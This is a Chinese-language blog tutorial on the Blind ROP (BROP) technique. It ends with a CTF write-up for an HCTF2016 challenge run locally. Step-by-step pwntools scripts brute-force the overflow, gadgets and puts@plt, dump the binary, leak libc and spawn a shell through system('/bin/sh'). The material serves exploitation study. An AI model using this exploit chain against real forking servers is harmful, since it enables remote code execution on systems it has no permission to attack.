Bline rop填坑

由于初学也是因为太笨的原因一直没有彻底学习一下brop,今天因为某些原因必须做一道 brop 把自己逼出来了

写在前面

BROP攻击基于一篇发表在Oakland 2014的论文Hacking Blind,作者是Standford的Andrea Bittau,以下是相关的paper和slide链接:

paper

slide

以及BROP的原网站地址

BROP攻击的目标和前提条件

目标:通过ROP的方法远程攻击某个应用程序 ,劫持该应用程序的控制流。我们可以不需要知道该应用程序的源代码或者任何二进制代码,该应用程序可以被现有的一些保护机制如NX , ASLR , PIE , stack canaries等保护,应用程序所在的服务器可以是32位系统也可以是64位系统 。

而这个攻击实现的两个前提条件是:

1、必须先存在一个已知的stack overflow的漏洞,而且攻击者知道如何触发这个漏洞;

2、服务器进程在crash之后会重新复活,并且复活的进程不会被re-rand(意味着虽然有ASLR保护,但是复活的程序和之前 的进程的地址随机化是一样的)。这个需求其实是合理的,因为当前像nginx , MySQL , Apache , OpenSSH , Samba等服务器应用都是符合这种特性的。

BROP的攻击流程

远程dump内存

由于我们不知道被攻击程序的内存布局,所以首先要做的就是通过某种方式从远程服务器dump出程序的内存到本地,为了做到这点我们需要调用一个系统调用write或puts等的打印函数,但是ROP攻击的角度来看,我们需要的pop rdi`pop rsi`等的gadgets地址并不知道,特别是当系统 部署了canary 就更难了。

所以我们先把这个问题放一放,先记着这个目标,先解决路上的障碍

攻破Stack Canaries保护

作者提出了一种叫做”stack reading”的方法:

假设这是我们要overflow的栈布局:

首先我们可以尝试任意多次判断overflow的长度(直到canary被破坏crash了)之后我们将buffer填上任意值,然后一个一个字节顺序地进行尝试来还原出真实的canary,(因为程序重启canary不变),由于一个字节只有256种可能,所以我们最多尝试256次就可以找到canary 的某个正确的字节,直到进8个字节的canary 都完整得找到

寻找stop gadget

到目前为止,我们已经找到了合适的canary绕过stack canary 的保护,接下来我们需要寻找一个特殊的gadgets:stop gadget。

一般情况下,如果我们把栈上的return address覆盖成某些我们随意选取的地址的话,程序 很大程度会crash掉,从而使得攻击者的连接(connection)被关闭,但是存在另外一种情况,即该return address指向了一块代码区域,当程序的执行流跳到那里之后,程序不会crash,而是进入了无限循环,(比如回到main函数,回到start函数)攻击者能一直保持连接状态。这样的地址我们称之为stop gadget,这种gadget对于寻找其它的gadgets取到了至关重要的作用

寻找brop_gadget

当有了stop gadget,我们就可以继续寻找其它有用的gadget(useful gadget)(比如pop rdi这些)

在没有stop gadget之前 我们是无法确定useful gadget的;假设我们猜到一个useful gadget如pop rdi ;ret,但是由于执行完这个gadget后进程还是会跳到下一个地址,如果该地址是一个非法地址,那么进程到最后还是会carch,在这个过程中攻击者其实不知道这个userful gadget已经执行过了,他看到的结果是程序crash了,从而不认为这是个userful gadget而放弃它

但是如果我们有了stop gadget,那就不一样了,如果我们在需要尝试的gadgets 后面填上了足够多的stop gadget,如图

这样,如果尝试的gadget 是useful gadget的话程序 就不会crash。

brop gadget:在libc_csu_init的结尾有一长串的 gadget ,我们可以通过偏移来获取 pop rdi;retpop rsi ; pop r15 ; ret这两个gadget,如图:

用上面提到的找 useful gatget的方法就很容易找到这个brop gadget

寻找plt项

程序的plt表具有比较规整的结构 ,第一个plt表项都是16字节。而且,在每一个表项的6字节偏移处,是该表项对应的韩寒苏解析路径,即程序最初执行该函数的时候,会执行该路径对函数的got 地址进行解析。

另外 ,对于大多数 plt 调用来说,一般都不容易崩溃,即使是使用了比较奇怪的参数。所以,如果我们发现了一系列的长度为16的没有使得程序崩溃的代码段,那么我们有一定的理由相信我们遇到了 plt 表。

控制 RDX

对于没有puts函数的程序来说,一般用来dump 的函数是write,于是就有一个问题,write需要3个参数,也就是说rdx也需要控制 ,但是一般程序中是不存在pop rdx;ret这样的gadget的;所以作者提出,相比于寻找pop rdx指令,他认为可以利用strcmp这个函数调用,该函数调用会把字符串的长度赋值给rdx,从而达到相同的效果。需要提醒的是,并不是所有程序都会调用strcmp函数,当程序中没有strcmp 函数的情况下,我们就得利用其它的方式来控制 rdx 了

那么,我们如何确定 strcmp 函数的plt地址呢?

对于strcmp 来说,作者提出的方法是对其传入不同的参数组合,通过该方法调用返回的结果来进行判断 ,因为brop gadget的存在,所以我们可以很方便地控制前两个参数,strcmp 会发生如下可能的情况:

1
2
3
4
strcmp(bad,bad)
strcmp(bad,readable)
strcmp(readable,bad)
strcmp(readable,readable)

只有最后一种格式,程序才会正常执行;

注:在没有 PIE 保护的时候,64位程序 的ELF文件的0x400000处有7个非零字节

那么我们该如何具体去做呢?一种比较直接的方法就是从头到尾依次扫描每个 plt 表项,但是这个比较麻烦,我们可以选择如下的一种方法

  • 利用 plt 表项的慢路径
  • 并且利用下一个表项的慢路径的地址来覆盖返回地址

这样,我们就不用来回控制 相应的变量了。

当然我们也可能碰巧到到 strncmp 或 strcasecmp 函数,它们和 strcmp 函数具有一样的效果

寻找输出函数

寻找put@plt

我们已经可以控制 rdi 了,在没有开启 PIE 的情况下,0x400000 处为ELF文件的头部,其内容为\x7fELF,所以我们可以通过打印 0x400000来判断是否为put@plt

寻找write@plt

这个,如果可能调用wite(1,buf,len)的话就跟上面找puts一样,但是对于寻找或者怎么执行write(socket,buf,len),菜鸡还是没搞懂,这里就涉及到寻找文件描述符的事情 ,先挖个坑,有机会来填。。。。。

回到最初的目的——dump 文件

其实不用dump整个文件,我们可以选择dump程序的前一部分,一般0x400000~0x4001000就够,因为这部分包含了plt表,在plt表中我们就可以得到got表地址,之后再打印got表拿到真实地址后就可以实施攻击了。

例子

还是需要具体的题目来练练手才靠谱

HCTF2016出题人失踪了,我们可以本地把docker搭起来模拟远程

1、确定栈溢出长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# step 1
def get_overflow_len():
i = 1
while True:
try:
p = remote("127.0.0.1","7777")
p.sendafter("password?\n",i*'a')
output = p.recv()
p.close()
if not "password" in output:
return i-1
else:
i += 1
except EOFError:
p.close()
return i-1

# print get_overflow_len() #72

通过上面的函数我们可以确定,栈溢出的长度为72,并且通过回显的信息可以发现程序并没有开启canary,所以直接开始寻找stop gadget

2、寻找gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# step 2
def get_stop_addr(lenth):
addr = 0x400000
while True:
try:
p = remote("127.0.0.1","7777")
p.sendafter("password?\n","a"*lenth + p64(addr))
p.recv()
p.close()
log.success("one success addr %s",hex(addr))
return addr
except EOFError:
addr += 1
p.close()

# print get_stop_addr(72) #0x4006b6
stop_gadget = 0x4006b6

这里我们直接尝试64位程序没有开PIE的情况,结果发现了不少地址,我们选取一个貌似返回于是源程序 中的地址

one success addr 0x4006b6

3、寻找brop_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# step 3
def get_brop_gadget(lenth,stop_gadget,addr):
try:
p = remote("127.0.0.1","7777")
pay = 'a'*lenth + p64(addr) + p64(0)*6 + p64(stop_gadget) + p64(0)*10
p.sendafter("password?\n",pay)
data = p.recv()
p.close()
print data
if not "WelCome" in data:
return False
else:
return True
except EOFError:
p.close()
return False

def check_brop_gadget(lenth,addr):
try:
p = remote("127.0.0.1","7777")
pay = 'a'*lenth + p64(addr) + 'a'*8*10
p.sendafter("password?\n",pay)
data = p.recv()
print "data:" + data
p.close()
return False
except EOFError:
p.close()
return True


lenth = 72
stop_gadget = 0x4006b6
addr = 0x400740
while True:
print hex(addr)
if get_brop_gadget(lenth,stop_gadget,addr):
log.info("possible brop gadget %s",hex(addr))
if check_brop_gadget(lenth,addr):
log.success("success brop gadget %s",hex(addr))
pause()
break
addr += 1

brop_gadget = 0x4007ba
pop_rdi = brop_gadget + 9

get_brop_gadget得到可能的brop_gadgetcheck_brop_gadget用来检查这个brop_gadget

4、确定puts@plt地址

根据得到的brop_gadget我们构造如下payload 来获取puts@plt

1
pay = 'a'*lenth + p64(pop_rdi) + p64(0x400000) + p64(addr) + p64(stop_gadget)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# step 4
def get_puts_addr(lenth):
addr = 0x400000
while True:
print hex(addr)
p = remote("127.0.0.1","7777")
pay = 'a'*lenth + p64(pop_rdi) + p64(0x400000) + p64(addr) + p64(stop_gadget)
p.sendafter("password?\n",pay)
try:
data = p.recv()
if data.startswith('\x7fELF'):
log.success("find puts@plt %s",hex(addr))
return addr
p.close()
addr += 1
except EOFError:
p.close()
addr += 1

# print get_puts_addr(72) #0x400555
puts_plt = 0x400555

得到地址0x400555,可以根据plt的结构进行调整得到地址0x400560,但是直接用也没关系

5、dump文件

有puts函数后我们就可以dump出一部分的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# step 5
def leak(lenth,pop_rdi,puts_plt,leak_addr,stop_gadget):
p = remote("127.0.0.1","7777")
pay = 'a'*lenth + p64(pop_rdi) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadget)
p.sendafter("password?\n",pay)
try:
data = p.recvuntil('\nWelCome')
p.close()
print "data:" + data[:data.index("\nWelCome")]
data = data[:data.index("\nWelCome")]
# print "len:" + hex(len(data))
if data == "":
return '\x00'
return data
except EOFError:
p.close()
return None

addr = 0x400000
res = ""
while addr < 0x401000:
log.info("addr-->%s",hex(addr))
data = leak(72,pop_rdi,puts_plt,addr,stop_gadget)
if data == None:
continue
res += data
addr += len(data)

with open("dump","wb") as f:
f.write(res)
log.success("dump finish!")

puts_got = 0x601018

需要注意的是:这里用puts函数来泄露程序 ,如何我们接收到的是””,说明遇到了’\x00’。

接下来用IDA打开程序 edit -> segments -> rebase program 修改Value为0x400000,再找到地址0x400555按下 p,将数据转换成函数

1
2
3
4
5
6
seg000:0000000000400555 sub_400555      proc near
seg000:0000000000400555 add bh, bh
seg000:0000000000400557 and eax, 200AB4h
seg000:000000000040055C nop dword ptr [rax+00h]
seg000:0000000000400560 jmp qword ptr cs:601018h
seg000:0000000000400560 sub_400555 endp

得到puts@got = 0x601018,当然,如果用地址0x400560生成函数的话就理直接了,这就跟正常程序中的got表一模一样了。

1
2
3
seg000:0000000000400560 sub_400560      proc near
seg000:0000000000400560 jmp qword ptr cs:601018h
seg000:0000000000400560 sub_400560 endp

之所以地址0x4005550x400560都可以成功调用puts@plt,是因为jmp qword ptr cs:601018h前面的几句汇编对程序影响不大,最后程序还是会正常跳到puts@got,所以这两个地址效果是一样的

6、get shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# step 6
# get_shell

p = remote("127.0.0.1","7777")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

sl = lambda s:p.sendline(s)
sd = lambda s:p.send(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sla = lambda a,s:p.sendlineafter(a,s)
sda = lambda a,s:p.sendafter(a,s)

pay = 'a'*72 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget)
sda("password?\n",pay)
puts_addr = u64(rc(6).ljust(8,'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search("/bin/sh\x00").next()
log.info("puts_addr-->%s",hex(puts_addr))
pay = 'a'*72 + p64(pop_rdi) + p64(binsh) + p64(system)
sda("password?\n",pay)

p.interactive()
0%